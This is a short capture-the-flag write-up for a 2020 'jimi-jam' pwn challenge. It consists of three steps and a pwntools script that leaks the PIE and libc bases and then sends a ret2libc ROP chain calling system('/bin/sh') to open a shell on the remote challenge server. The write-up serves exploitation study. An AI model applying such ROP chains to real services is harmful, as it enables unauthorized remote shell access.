Tags: pwn ret2libc 

Rating: 4.0

1. Calculate pie base using the logged address
2. Leak libc base
3. Ret2libc

```py
from pwn import *

local = False

host = 'challenges.2020.squarectf.com'
port = 9000

elf = ELF('./jimi-jam')
rop = ROP(elf)

if local:
p = elf.process()
libc = ELF('/usr/lib/libc.so.6')
else:
p = remote(host, port)
libc = ELF('./libc.so.6')

PUTS_PLT= 0x10b0
MAIN_PLT = elf.symbols['main']

POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]

OFFSET = b'A' * (16)

log.info("puts@plt: " + hex(PUTS_PLT))
log.info("main@plt: " + hex(MAIN_PLT))
log.info("POP RDI: " + hex(POP_RDI))

print(p.recvuntil('here! ').decode())
leak = p.recvline().decode()
print(leak)
leak = int(leak, 16)

print(hex(elf.got['puts']))

# Calculate pie base
base = leak - 0x4060

puts_got_addr = base + 0x3fa0

POP_RDI += base
PUTS_PLT += base
MAIN_PLT += base
RET += base

# Function to leak puts address
def get_addr():
FUNC_GOT = puts_got_addr

print(f"POP_RDI: {hex(POP_RDI)}")
print(f"FUNC_GOT: {hex(FUNC_GOT)}")
print(f"PUTS_PLT: {hex(PUTS_PLT)}")
print(f"MAIN_PLT: {hex(MAIN_PLT)}")
print(f"RET: {hex(RET)}")

rop_chain = [
POP_RDI, FUNC_GOT,
PUTS_PLT,
MAIN_PLT,
]

rop_chain = b''.join([p64(i) for i in rop_chain])
payload = OFFSET + rop_chain

print(p.recvuntil('JAIL\n').decode())
log.info(payload)

p.sendline(payload)

received = p.recvline().strip()
print(received)
leak = u64(received.ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

return hex(leak)

log.info('Leak: ' + get_addr())
log.info('Libc base: ' + hex(libc.address))

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']

# Final rop chain to pop a shell
ROP_CHAIN = [
RET,
POP_RDI, BIN_SH,
SYSTEM,
EXIT,
]

ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])

payload = OFFSET + ROP_CHAIN

print(payload)
print(p.recvuntil("JAIL\n"))

p.sendline(payload)

p.interactive()

```

P.S. This is an unnecessarily long script :P